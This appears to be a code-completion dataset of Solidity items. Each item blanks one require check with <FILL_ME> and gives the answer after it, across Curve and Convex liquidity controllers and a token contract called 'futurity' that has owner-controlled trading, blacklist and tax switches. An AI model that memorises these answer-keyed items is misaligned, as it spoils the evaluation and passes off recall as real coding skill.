import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../../interfaces/curve/ICryptoSwapPool.sol";
import "../../interfaces/curve/IRegistry.sol";
import "../../interfaces/curve/IAddressProvider.sol";
import "../BaseController.sol";
/* solhint-disable func-name-mixedcase, var-name-mixedcase */
contract CurveControllerV2Pool4 is BaseController {
event AddLiquidity(
address indexed provider,
uint256[N_COINS] token_amounts,
uint256 token_supply,
uint256 lp_token_amount
);
event RemoveLiquidity(
address indexed provider,
uint256[N_COINS] token_amounts,
uint256 token_supply,
uint256[N_COINS] amounts
);
event RemoveLiquidityOne(
address indexed provider,
uint256 token_amount,
uint256 coin_index,
uint256 coin_amount,
address coin_address
);
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
IAddressProvider public immutable addressProvider;
uint256 public constant N_COINS = 4;
constructor(
address _manager,
address _accessControl,
address _addressRegistry,
IAddressProvider _curveAddressProvider
) public BaseController(_manager, _accessControl, _addressRegistry) {
}
/// @notice Deploy liquidity to Curve pool
/// @dev Calls to external contract
/// @dev We trust sender to send a true curve poolAddress. If it's not the case it will fail in the add_liquidity part.
/// @param poolAddress Token addresses
/// @param amounts List of amounts of coins to deposit
/// @param poolAddress Minimum amount of LP tokens to mint from the deposit
function deploy(
address poolAddress,
uint256[N_COINS] calldata amounts,
uint256 minMintAmount
) external onlyManager onlyAddLiquidity {
}
/// @notice Withdraw liquidity from Curve pool
/// @dev Calls to external contract
/// @dev We trust sender to send a true curve poolAddress. If it's not the case it will fail in the add_liquidity part.
/// @param poolAddress Token addresses
/// @param amount Quantity of LP tokens to burn in the withdrawal
/// @param minAmounts Minimum amounts of underlying coins to receive
function withdraw(
address poolAddress,
uint256 amount,
uint256[N_COINS] memory minAmounts
) external onlyManager onlyRemoveLiquidity {
}
/// @notice Withdraw liquidity from Curve pool
/// @dev Calls to external contract
/// @dev We trust sender to send a true curve poolAddress. If it's not the case it will fail in the add_liquidity part.
/// @param poolAddress token addresses
/// @param tokenAmount Amount of LP tokens to burn in the withdrawal
/// @param i Index value of the coin to withdraw
/// @param minAmount Minimum amount of coin to receive
function withdrawOneCoin(
address poolAddress,
uint256 tokenAmount,
uint256 i,
uint256 minAmount
) external onlyManager onlyRemoveLiquidity {
address lpTokenAddress = _getLPTokenAndApprove(poolAddress, tokenAmount);
address coin = ICryptoSwapPool(poolAddress).coins(uint256(i));
uint256 lpTokenBalanceBefore = IERC20(lpTokenAddress).balanceOf(address(this));
uint256 coinBalanceBefore = IERC20(coin).balanceOf(address(this));
ICryptoSwapPool(poolAddress).remove_liquidity_one_coin(tokenAmount, i, minAmount);
uint256 lpTokenBalanceAfter = IERC20(lpTokenAddress).balanceOf(address(this));
uint256 coinBalanceAfter = IERC20(coin).balanceOf(address(this));
require(coinBalanceBefore < coinBalanceAfter, "BALANCE_MUST_INCREASE");
require(<FILL_ME>)
uint256 coin_amount = ICryptoSwapPool(poolAddress).calc_withdraw_one_coin(minAmount, i);
emit RemoveLiquidityOne(msg.sender, tokenAmount, i, coin_amount, coin);
}
function _getLPToken(address poolAddress) internal returns (address) {
}
function _getCoinsBalances(address poolAddress)
internal
returns (uint256[N_COINS] memory coinsBalances)
{
}
function _compareCoinsBalances(
uint256[N_COINS] memory balancesBefore,
uint256[N_COINS] memory balancesAfter,
uint256[N_COINS] memory amounts
) internal pure {
}
function _getLPTokenAndApprove(address poolAddress, uint256 amount) internal returns (address) {
}
function _approve(
IERC20 token,
address spender,
uint256 amount
) internal {
}
}
| lpTokenBalanceBefore-tokenAmount==lpTokenBalanceAfter,"LP_TOKEN_AMT_MISMATCH" | 85,586 | lpTokenBalanceBefore-tokenAmount==lpTokenBalanceAfter |
"INVALID_LP_TOKEN" | // SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../../interfaces/curve/ICryptoSwapPool.sol";
import "../../interfaces/curve/IRegistry.sol";
import "../../interfaces/curve/IAddressProvider.sol";
import "../BaseController.sol";
/* solhint-disable func-name-mixedcase, var-name-mixedcase */
contract CurveControllerV2Pool4 is BaseController {
event AddLiquidity(
address indexed provider,
uint256[N_COINS] token_amounts,
uint256 token_supply,
uint256 lp_token_amount
);
event RemoveLiquidity(
address indexed provider,
uint256[N_COINS] token_amounts,
uint256 token_supply,
uint256[N_COINS] amounts
);
event RemoveLiquidityOne(
address indexed provider,
uint256 token_amount,
uint256 coin_index,
uint256 coin_amount,
address coin_address
);
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
IAddressProvider public immutable addressProvider;
uint256 public constant N_COINS = 4;
constructor(
address _manager,
address _accessControl,
address _addressRegistry,
IAddressProvider _curveAddressProvider
) public BaseController(_manager, _accessControl, _addressRegistry) {
}
/// @notice Deploy liquidity to Curve pool
/// @dev Calls to external contract
/// @dev We trust sender to send a true curve poolAddress. If it's not the case it will fail in the add_liquidity part.
/// @param poolAddress Token addresses
/// @param amounts List of amounts of coins to deposit
/// @param poolAddress Minimum amount of LP tokens to mint from the deposit
function deploy(
address poolAddress,
uint256[N_COINS] calldata amounts,
uint256 minMintAmount
) external onlyManager onlyAddLiquidity {
}
/// @notice Withdraw liquidity from Curve pool
/// @dev Calls to external contract
/// @dev We trust sender to send a true curve poolAddress. If it's not the case it will fail in the add_liquidity part.
/// @param poolAddress Token addresses
/// @param amount Quantity of LP tokens to burn in the withdrawal
/// @param minAmounts Minimum amounts of underlying coins to receive
function withdraw(
address poolAddress,
uint256 amount,
uint256[N_COINS] memory minAmounts
) external onlyManager onlyRemoveLiquidity {
}
/// @notice Withdraw liquidity from Curve pool
/// @dev Calls to external contract
/// @dev We trust sender to send a true curve poolAddress. If it's not the case it will fail in the add_liquidity part.
/// @param poolAddress token addresses
/// @param tokenAmount Amount of LP tokens to burn in the withdrawal
/// @param i Index value of the coin to withdraw
/// @param minAmount Minimum amount of coin to receive
function withdrawOneCoin(
address poolAddress,
uint256 tokenAmount,
uint256 i,
uint256 minAmount
) external onlyManager onlyRemoveLiquidity {
}
function _getLPToken(address poolAddress) internal returns (address) {
require(poolAddress != address(0), "INVALID_POOL_ADDRESS");
address registryAddress = addressProvider.get_registry();
address lpTokenAddress = IRegistry(registryAddress).get_lp_token(poolAddress);
// If it's not registered in curve registry that should mean it's a factory pool (pool is also the LP Token)
// https://curve.readthedocs.io/factory-pools.html?highlight=factory%20pools%20differ#lp-tokens
if (lpTokenAddress == address(0)) {
lpTokenAddress = poolAddress;
}
require(<FILL_ME>)
return lpTokenAddress;
}
function _getCoinsBalances(address poolAddress)
internal
returns (uint256[N_COINS] memory coinsBalances)
{
}
function _compareCoinsBalances(
uint256[N_COINS] memory balancesBefore,
uint256[N_COINS] memory balancesAfter,
uint256[N_COINS] memory amounts
) internal pure {
}
function _getLPTokenAndApprove(address poolAddress, uint256 amount) internal returns (address) {
}
function _approve(
IERC20 token,
address spender,
uint256 amount
) internal {
}
}
| addressRegistry.checkAddress(lpTokenAddress,0),"INVALID_LP_TOKEN" | 85,586 | addressRegistry.checkAddress(lpTokenAddress,0) |
"INVALID_BALANCE_CHANGE" | // SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../../interfaces/curve/ICryptoSwapPool.sol";
import "../../interfaces/curve/IRegistry.sol";
import "../../interfaces/curve/IAddressProvider.sol";
import "../BaseController.sol";
/* solhint-disable func-name-mixedcase, var-name-mixedcase */
contract CurveControllerV2Pool4 is BaseController {
event AddLiquidity(
address indexed provider,
uint256[N_COINS] token_amounts,
uint256 token_supply,
uint256 lp_token_amount
);
event RemoveLiquidity(
address indexed provider,
uint256[N_COINS] token_amounts,
uint256 token_supply,
uint256[N_COINS] amounts
);
event RemoveLiquidityOne(
address indexed provider,
uint256 token_amount,
uint256 coin_index,
uint256 coin_amount,
address coin_address
);
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
IAddressProvider public immutable addressProvider;
uint256 public constant N_COINS = 4;
constructor(
address _manager,
address _accessControl,
address _addressRegistry,
IAddressProvider _curveAddressProvider
) public BaseController(_manager, _accessControl, _addressRegistry) {
}
/// @notice Deploy liquidity to Curve pool
/// @dev Calls to external contract
/// @dev We trust sender to send a true curve poolAddress. If it's not the case it will fail in the add_liquidity part.
/// @param poolAddress Token addresses
/// @param amounts List of amounts of coins to deposit
/// @param poolAddress Minimum amount of LP tokens to mint from the deposit
function deploy(
address poolAddress,
uint256[N_COINS] calldata amounts,
uint256 minMintAmount
) external onlyManager onlyAddLiquidity {
}
/// @notice Withdraw liquidity from Curve pool
/// @dev Calls to external contract
/// @dev We trust sender to send a true curve poolAddress. If it's not the case it will fail in the add_liquidity part.
/// @param poolAddress Token addresses
/// @param amount Quantity of LP tokens to burn in the withdrawal
/// @param minAmounts Minimum amounts of underlying coins to receive
function withdraw(
address poolAddress,
uint256 amount,
uint256[N_COINS] memory minAmounts
) external onlyManager onlyRemoveLiquidity {
}
/// @notice Withdraw liquidity from Curve pool
/// @dev Calls to external contract
/// @dev We trust sender to send a true curve poolAddress. If it's not the case it will fail in the add_liquidity part.
/// @param poolAddress token addresses
/// @param tokenAmount Amount of LP tokens to burn in the withdrawal
/// @param i Index value of the coin to withdraw
/// @param minAmount Minimum amount of coin to receive
function withdrawOneCoin(
address poolAddress,
uint256 tokenAmount,
uint256 i,
uint256 minAmount
) external onlyManager onlyRemoveLiquidity {
}
function _getLPToken(address poolAddress) internal returns (address) {
}
function _getCoinsBalances(address poolAddress)
internal
returns (uint256[N_COINS] memory coinsBalances)
{
}
function _compareCoinsBalances(
uint256[N_COINS] memory balancesBefore,
uint256[N_COINS] memory balancesAfter,
uint256[N_COINS] memory amounts
) internal pure {
for (uint256 i = 0; i < N_COINS; i++) {
uint256 minAmount = amounts[i];
require(<FILL_ME>)
}
}
function _getLPTokenAndApprove(address poolAddress, uint256 amount) internal returns (address) {
}
function _approve(
IERC20 token,
address spender,
uint256 amount
) internal {
}
}
| balancesAfter[i].sub(balancesBefore[i])>=minAmount,"INVALID_BALANCE_CHANGE" | 85,586 | balancesAfter[i].sub(balancesBefore[i])>=minAmount |
"INVALID_LP_TOKEN" | // SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./BaseController.sol";
import "../interfaces/convex/IConvexBooster.sol";
import "../interfaces/convex/IConvexBaseReward.sol";
contract ConvexController is BaseController {
using SafeERC20 for IERC20;
using SafeMath for uint256;
// solhint-disable-next-line var-name-mixedcase
IConvexBooster public immutable BOOSTER;
struct ExpectedReward {
address token;
uint256 minAmount;
}
constructor(
address _manager,
address _accessControl,
address _addressRegistry,
address _convexBooster
) public BaseController(_manager, _accessControl, _addressRegistry) {
}
/// @notice deposits and stakes Curve LP tokens to Convex
/// @param lpToken Curve LP token to deposit
/// @param staking Convex reward contract associated with the Curve LP token
/// @param poolId Convex poolId for the associated Curve LP token
/// @param amount Quantity of Curve LP token to deposit and stake
function depositAndStake(
address lpToken,
address staking,
uint256 poolId,
uint256 amount
) external onlyManager onlyAddLiquidity {
require(<FILL_ME>)
require(staking != address(0), "INVALID_STAKING_ADDRESS");
require(amount > 0, "INVALID_AMOUNT");
(address lptoken, , , address crvRewards, , ) = BOOSTER.poolInfo(poolId);
require(lpToken == lptoken, "POOL_ID_LP_TOKEN_MISMATCH");
require(staking == crvRewards, "POOL_ID_STAKING_MISMATCH");
_approve(IERC20(lpToken), amount);
uint256 beforeBalance = IConvexBaseRewards(staking).balanceOf(address(this));
bool success = BOOSTER.deposit(poolId, amount, true);
require(success, "DEPOSIT_AND_STAKE_FAILED");
uint256 balanceChange = IConvexBaseRewards(staking).balanceOf(address(this)).sub(
beforeBalance
);
require(balanceChange == amount, "BALANCE_MUST_INCREASE");
}
/// @notice withdraws a Curve LP token from Convex
/// @dev does not claim available rewards
/// @param lpToken Curve LP token to withdraw
/// @param staking Convex reward contract associated with the Curve LP token
/// @param amount Quantity of Curve LP token to withdraw
function withdrawStake(
address lpToken,
address staking,
uint256 amount
) external onlyManager onlyRemoveLiquidity {
}
/// @notice claims all Convex rewards associated with the target Curve LP token
/// @param staking Convex reward contract associated with the Curve LP token
/// @param expectedRewards List of expected reward tokens and min amounts to receive on claim
function claimRewards(address staking, ExpectedReward[] calldata expectedRewards)
external
onlyManager onlyMiscOperation
{
}
function _approve(IERC20 token, uint256 amount) internal {
}
}
| addressRegistry.checkAddress(lpToken,0),"INVALID_LP_TOKEN" | 85,600 | addressRegistry.checkAddress(lpToken,0) |
"INVALID_REWARD_TOKEN_ADDRESS" | // SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./BaseController.sol";
import "../interfaces/convex/IConvexBooster.sol";
import "../interfaces/convex/IConvexBaseReward.sol";
contract ConvexController is BaseController {
using SafeERC20 for IERC20;
using SafeMath for uint256;
// solhint-disable-next-line var-name-mixedcase
IConvexBooster public immutable BOOSTER;
struct ExpectedReward {
address token;
uint256 minAmount;
}
constructor(
address _manager,
address _accessControl,
address _addressRegistry,
address _convexBooster
) public BaseController(_manager, _accessControl, _addressRegistry) {
}
/// @notice deposits and stakes Curve LP tokens to Convex
/// @param lpToken Curve LP token to deposit
/// @param staking Convex reward contract associated with the Curve LP token
/// @param poolId Convex poolId for the associated Curve LP token
/// @param amount Quantity of Curve LP token to deposit and stake
function depositAndStake(
address lpToken,
address staking,
uint256 poolId,
uint256 amount
) external onlyManager onlyAddLiquidity {
}
/// @notice withdraws a Curve LP token from Convex
/// @dev does not claim available rewards
/// @param lpToken Curve LP token to withdraw
/// @param staking Convex reward contract associated with the Curve LP token
/// @param amount Quantity of Curve LP token to withdraw
function withdrawStake(
address lpToken,
address staking,
uint256 amount
) external onlyManager onlyRemoveLiquidity {
}
/// @notice claims all Convex rewards associated with the target Curve LP token
/// @param staking Convex reward contract associated with the Curve LP token
/// @param expectedRewards List of expected reward tokens and min amounts to receive on claim
function claimRewards(address staking, ExpectedReward[] calldata expectedRewards)
external
onlyManager onlyMiscOperation
{
require(staking != address(0), "INVALID_STAKING_ADDRESS");
require(expectedRewards.length > 0, "INVALID_EXPECTED_REWARDS");
uint256[] memory beforeBalances = new uint256[](expectedRewards.length);
for (uint256 i = 0; i < expectedRewards.length; i++) {
require(<FILL_ME>)
require(expectedRewards[i].minAmount > 0, "INVALID_MIN_REWARD_AMOUNT");
beforeBalances[i] = IERC20(expectedRewards[i].token).balanceOf(address(this));
}
require(IConvexBaseRewards(staking).getReward(), "CLAIM_REWARD_FAILED");
for (uint256 i = 0; i < expectedRewards.length; i++) {
uint256 balanceChange = IERC20(expectedRewards[i].token).balanceOf(address(this)).sub(
beforeBalances[i]
);
require(balanceChange >= expectedRewards[i].minAmount, "BALANCE_MUST_INCREASE");
}
}
function _approve(IERC20 token, uint256 amount) internal {
}
}
| expectedRewards[i].token!=address(0),"INVALID_REWARD_TOKEN_ADDRESS" | 85,600 | expectedRewards[i].token!=address(0) |
"INVALID_MIN_REWARD_AMOUNT" | // SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./BaseController.sol";
import "../interfaces/convex/IConvexBooster.sol";
import "../interfaces/convex/IConvexBaseReward.sol";
contract ConvexController is BaseController {
using SafeERC20 for IERC20;
using SafeMath for uint256;
// solhint-disable-next-line var-name-mixedcase
IConvexBooster public immutable BOOSTER;
struct ExpectedReward {
address token;
uint256 minAmount;
}
constructor(
address _manager,
address _accessControl,
address _addressRegistry,
address _convexBooster
) public BaseController(_manager, _accessControl, _addressRegistry) {
}
/// @notice deposits and stakes Curve LP tokens to Convex
/// @param lpToken Curve LP token to deposit
/// @param staking Convex reward contract associated with the Curve LP token
/// @param poolId Convex poolId for the associated Curve LP token
/// @param amount Quantity of Curve LP token to deposit and stake
function depositAndStake(
address lpToken,
address staking,
uint256 poolId,
uint256 amount
) external onlyManager onlyAddLiquidity {
}
/// @notice withdraws a Curve LP token from Convex
/// @dev does not claim available rewards
/// @param lpToken Curve LP token to withdraw
/// @param staking Convex reward contract associated with the Curve LP token
/// @param amount Quantity of Curve LP token to withdraw
function withdrawStake(
address lpToken,
address staking,
uint256 amount
) external onlyManager onlyRemoveLiquidity {
}
/// @notice claims all Convex rewards associated with the target Curve LP token
/// @param staking Convex reward contract associated with the Curve LP token
/// @param expectedRewards List of expected reward tokens and min amounts to receive on claim
function claimRewards(address staking, ExpectedReward[] calldata expectedRewards)
external
onlyManager onlyMiscOperation
{
require(staking != address(0), "INVALID_STAKING_ADDRESS");
require(expectedRewards.length > 0, "INVALID_EXPECTED_REWARDS");
uint256[] memory beforeBalances = new uint256[](expectedRewards.length);
for (uint256 i = 0; i < expectedRewards.length; i++) {
require(expectedRewards[i].token != address(0), "INVALID_REWARD_TOKEN_ADDRESS");
require(<FILL_ME>)
beforeBalances[i] = IERC20(expectedRewards[i].token).balanceOf(address(this));
}
require(IConvexBaseRewards(staking).getReward(), "CLAIM_REWARD_FAILED");
for (uint256 i = 0; i < expectedRewards.length; i++) {
uint256 balanceChange = IERC20(expectedRewards[i].token).balanceOf(address(this)).sub(
beforeBalances[i]
);
require(balanceChange >= expectedRewards[i].minAmount, "BALANCE_MUST_INCREASE");
}
}
function _approve(IERC20 token, uint256 amount) internal {
}
}
| expectedRewards[i].minAmount>0,"INVALID_MIN_REWARD_AMOUNT" | 85,600 | expectedRewards[i].minAmount>0 |
"CLAIM_REWARD_FAILED" | // SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./BaseController.sol";
import "../interfaces/convex/IConvexBooster.sol";
import "../interfaces/convex/IConvexBaseReward.sol";
contract ConvexController is BaseController {
using SafeERC20 for IERC20;
using SafeMath for uint256;
// solhint-disable-next-line var-name-mixedcase
IConvexBooster public immutable BOOSTER;
struct ExpectedReward {
address token;
uint256 minAmount;
}
constructor(
address _manager,
address _accessControl,
address _addressRegistry,
address _convexBooster
) public BaseController(_manager, _accessControl, _addressRegistry) {
}
/// @notice deposits and stakes Curve LP tokens to Convex
/// @param lpToken Curve LP token to deposit
/// @param staking Convex reward contract associated with the Curve LP token
/// @param poolId Convex poolId for the associated Curve LP token
/// @param amount Quantity of Curve LP token to deposit and stake
function depositAndStake(
address lpToken,
address staking,
uint256 poolId,
uint256 amount
) external onlyManager onlyAddLiquidity {
}
/// @notice withdraws a Curve LP token from Convex
/// @dev does not claim available rewards
/// @param lpToken Curve LP token to withdraw
/// @param staking Convex reward contract associated with the Curve LP token
/// @param amount Quantity of Curve LP token to withdraw
function withdrawStake(
address lpToken,
address staking,
uint256 amount
) external onlyManager onlyRemoveLiquidity {
}
/// @notice claims all Convex rewards associated with the target Curve LP token
/// @param staking Convex reward contract associated with the Curve LP token
/// @param expectedRewards List of expected reward tokens and min amounts to receive on claim
function claimRewards(address staking, ExpectedReward[] calldata expectedRewards)
external
onlyManager onlyMiscOperation
{
require(staking != address(0), "INVALID_STAKING_ADDRESS");
require(expectedRewards.length > 0, "INVALID_EXPECTED_REWARDS");
uint256[] memory beforeBalances = new uint256[](expectedRewards.length);
for (uint256 i = 0; i < expectedRewards.length; i++) {
require(expectedRewards[i].token != address(0), "INVALID_REWARD_TOKEN_ADDRESS");
require(expectedRewards[i].minAmount > 0, "INVALID_MIN_REWARD_AMOUNT");
beforeBalances[i] = IERC20(expectedRewards[i].token).balanceOf(address(this));
}
require(<FILL_ME>)
for (uint256 i = 0; i < expectedRewards.length; i++) {
uint256 balanceChange = IERC20(expectedRewards[i].token).balanceOf(address(this)).sub(
beforeBalances[i]
);
require(balanceChange >= expectedRewards[i].minAmount, "BALANCE_MUST_INCREASE");
}
}
function _approve(IERC20 token, uint256 amount) internal {
}
}
| IConvexBaseRewards(staking).getReward(),"CLAIM_REWARD_FAILED" | 85,600 | IConvexBaseRewards(staking).getReward() |
"Trading not enabled yet" | /**
https://t.me/FuturityERC
https://futurityfinance.com/
Links for twitter, medium, and whitepaper, on the website!
*/
// SPDX-License-Identifier: NOLICENSE
pragma solidity ^0.8.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
library Address{
function sendValue(address payable recipient, uint256 amount) internal {
}
}
contract futurity is Context, IERC20, Ownable {
using Address for address payable;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public allowedTransfer;
mapping (address => bool) private _isBlacklisted;
address[] private _excluded;
bool public tradingEnabled;
bool public swapEnabled;
bool private swapping;
//Anti Dump
mapping(address => uint256) private _lastSell;
bool public coolDownEnabled = false;
uint256 public coolDownTime = 0 seconds;
modifier antiBot(address account){
require(<FILL_ME>)
_;
}
IRouter public router;
address public pair;
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1e6 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 public swapTokensAtAmount = 6_000 * 10**9;
uint256 public maxBuyLimit = 20_000 * 10**9;
uint256 public maxSellLimit = 20_000 * 10**9;
uint256 public maxWalletLimit = 20_000 * 10**9;
uint256 public genesis_block;
address public marketingWallet = 0x97D66824F40cF7a766667300A6a25b8B3e647b71;
address public donationWallet = 0x97D66824F40cF7a766667300A6a25b8B3e647b71;
string private constant _name = "Futurity";
string private constant _symbol = "FTY";
struct Taxes {
uint256 rfi;
uint256 marketing;
uint256 liquidity;
uint256 donation;
}
Taxes public taxes = Taxes(0, 7, 0, 0);
Taxes public sellTaxes = Taxes(0, 7, 0, 0);
struct TotFeesPaidStruct{
uint256 rfi;
uint256 marketing;
uint256 liquidity;
uint256 donation;
}
TotFeesPaidStruct public totFeesPaid;
struct valuesFromGetValues{
uint256 rAmount;
uint256 rTransferAmount;
uint256 rRfi;
uint256 rMarketing;
uint256 rLiquidity;
uint256 rDonation;
uint256 tTransferAmount;
uint256 tRfi;
uint256 tMarketing;
uint256 tLiquidity;
uint256 tDonation;
}
event FeesChanged();
event UpdatedRouter(address oldRouter, address newRouter);
modifier lockTheSwap {
}
constructor (address routerAddress) {
}
//std ERC20:
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
//override ERC20:
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override antiBot(msg.sender) returns(bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override antiBot(sender) returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public antiBot(msg.sender) returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public antiBot(msg.sender) returns (bool) {
}
function transfer(address recipient, uint256 amount) public override antiBot(msg.sender) returns (bool)
{
}
function isExcludedFromReward(address account) public view returns (bool) {
}
function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) {
}
function setTradingStatus(bool state) external onlyOwner{
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
}
function excludeFromReward(address account) public onlyOwner() {
}
function includeInReward(address account) external onlyOwner() {
}
function excludeFromFee(address account) public onlyOwner {
}
function includeInFee(address account) public onlyOwner {
}
function isExcludedFromFee(address account) public view returns(bool) {
}
function setTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity, uint256 _donation) public onlyOwner {
}
function setSellTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity, uint256 _donation) public onlyOwner {
}
function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
}
function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private {
}
function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
}
function _takeDonation(uint256 rDonation, uint256 tDonation) private {
}
function _getValues(uint256 tAmount, bool takeFee, bool isSell) private view returns (valuesFromGetValues memory to_return) {
}
function _getTValues(uint256 tAmount, bool takeFee, bool isSell) private view returns (valuesFromGetValues memory s) {
}
function _getRValues1(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi,uint256 rMarketing, uint256 rLiquidity){
}
function _getRValues2(valuesFromGetValues memory s, bool takeFee, uint256 currentRate) private pure returns (uint256 rDonation) {
}
function _getRate() private view returns(uint256) {
}
function _getCurrentSupply() private view returns(uint256, uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isSell) private {
}
function swapAndLiquify(uint256 contractBalance, Taxes memory temp) private lockTheSwap{
}
function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
}
function swapTokensForBNB(uint256 tokenAmount) private {
}
function airdropTokens(address[] memory accounts, uint256[] memory amounts) external onlyOwner{
}
function bulkExcludeFee(address[] memory accounts, bool state) external onlyOwner{
}
function updateMarketingWallet(address newWallet) external onlyOwner{
}
function updateDonationWallet(address newWallet) external onlyOwner{
}
function updateCooldown(bool state, uint256 time) external onlyOwner{
}
function updateSwapTokensAtAmount(uint256 amount) external onlyOwner{
}
function updateSwapEnabled(bool _enabled) external onlyOwner{
}
function updateIsBlacklisted(address account, bool state) external onlyOwner{
}
function bulkIsBlacklisted(address[] memory accounts, bool state) external onlyOwner{
}
function updateAllowedTransfer(address account, bool state) external onlyOwner{
}
function updateMaxTxLimit(uint256 maxBuy, uint256 maxSell) external onlyOwner{
}
function updateMaxWalletlimit(uint256 amount) external onlyOwner{
}
function updateRouterAndPair(address newRouter, address newPair) external onlyOwner{
}
//Use this in case BNB are sent to the contract by mistake
function rescueBNB(uint256 weiAmount) external onlyOwner{
}
function rescueAnyBEP20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
}
receive() external payable{
}
}
| tradingEnabled||allowedTransfer[account],"Trading not enabled yet" | 85,609 | tradingEnabled||allowedTransfer[account] |
"You are a bot" | /**
https://t.me/FuturityERC
https://futurityfinance.com/
Links for twitter, medium, and whitepaper, on the website!
*/
// SPDX-License-Identifier: NOLICENSE
pragma solidity ^0.8.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
